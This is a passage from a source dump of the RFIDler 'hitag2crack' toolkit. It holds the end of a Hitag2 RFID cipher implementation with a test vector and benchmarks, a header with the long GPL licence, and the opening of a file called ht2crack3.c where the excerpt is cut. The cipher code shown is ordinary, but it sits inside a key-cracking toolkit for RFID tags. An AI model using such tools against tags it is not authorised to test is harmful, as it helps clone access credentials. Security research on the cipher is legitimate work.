pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
// if (steps > 32)
// steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
lfsr >>= 1;
result = (result << 1) | hitag2_crypt(state);
}
} while (--steps);
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
pstate->shiftreg = state;
pstate->lfsr = lfsr;
return result;
}
// end of crypto core, revert to default optimization level
#pragma GCC reset_options
/* Test code
Test data and below information about it comes from
http://www.mikrocontroller.net/attachment/102194/hitag2.c
Written by "I.C. Wiener 2006-2007"
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
Random = 65 6E 45 72 - Random IV, transmitted in clear
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
The inverse of the first 4 bytes is sent to the tag to authenticate.
The rest is encrypted by XORing it with the subsequent keystream.
*/
/*
unsigned int hitag2_benchtest_gen32()
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
// init crypto
hitag2_init(&state, key, serial, initvec);
// benchmark: generation of 32 bit stream (excludes initialisation)
GetTimer_us(RESET);
(void) hitag2_nstep(&state, 32);
return GetTimer_us(NO_RESET);
}
unsigned int hitag2_benchtest(uint32_t count)
{
const uint64_t key = 0x4ad292b272f2;
const uint32_t serial = 0x96eac292;
const uint32_t initvec = 0x4ea276a6;
Hitag_State state;
uint32_t i;
// start timer
GetTimer_us(RESET);
// benchmark: initialise crypto & generate 32 bit authentication
// adding i stops gcc optimizer moving init function call out of loop
for (i = 0; i < count; i++) {
hitag2_init(&state, key, serial, initvec + i);
(void) hitag2_nstep(&state, 32);
}
return GetTimer_us(NO_RESET);
}
unsigned hitag2_verifytest()
{
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
// key = 0x4ad292b272f2 after each byte has its bit order reversed
// serial = 0x96eac292 ditto
// initvec = 0x4ea276a6 ditto
const uint64_t key = rev64 (0x524B494D4E4FUL);
const uint32_t serial = rev32 (0x69574349);
const uint32_t initvec = rev32 (0x72456E65);
uint32_t i;
Hitag_State state;
// initialise
hitag2_init(&state, key, serial, initvec);
for (i = 0; i < 16; i++) {
// get 8 bits of keystream
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
uint8_t y = expected[i];
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
if (x != y)
return 0;
}
return 1;
}
*/
#ifdef UNIT_TEST
int main(int argc, char* argv[])
{
unsigned pass = hitag2_verifytest();
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
if (pass) {
hitag2_benchtest(10000);
}
return 0;
}
#endif // UNIT_TEST
================================================
FILE: hitag2crack/crack3/hitagcrypto.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
#ifndef HITAGCRYPTO_H
#define HITAGCRYPTO_H
#include
/*
Our model of Hitag 2 crypto uses 2 parallel shift registers:
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
b. 48 bit Linear Feedback Shift Register (LFSR).
A transform of initial register (a) value, which is then run in parallel.
Enables much faster calculation of the feedback values.
API:
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
uint32_t initvector);
Initialise state from 48 bit shared (secret) reader/tag key,
32 bit tag serial number and 32 bit initialisation vector from reader.
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
update shift register state and generate N cipher bits (N should be <= 32)
*/
typedef struct {
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
uint64_t lfsr; // fast lfsr, used to make software faster
} Hitag_State;
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
unsigned int hitag2_benchtest_gen32();
unsigned int hitag2_benchtest(uint32_t count);
unsigned hitag2_verifytest();
#endif /* HITAGCRYPTO_H */
================================================
FILE: hitag2crack/crack3/ht2crack3.c
================================================
#include
#include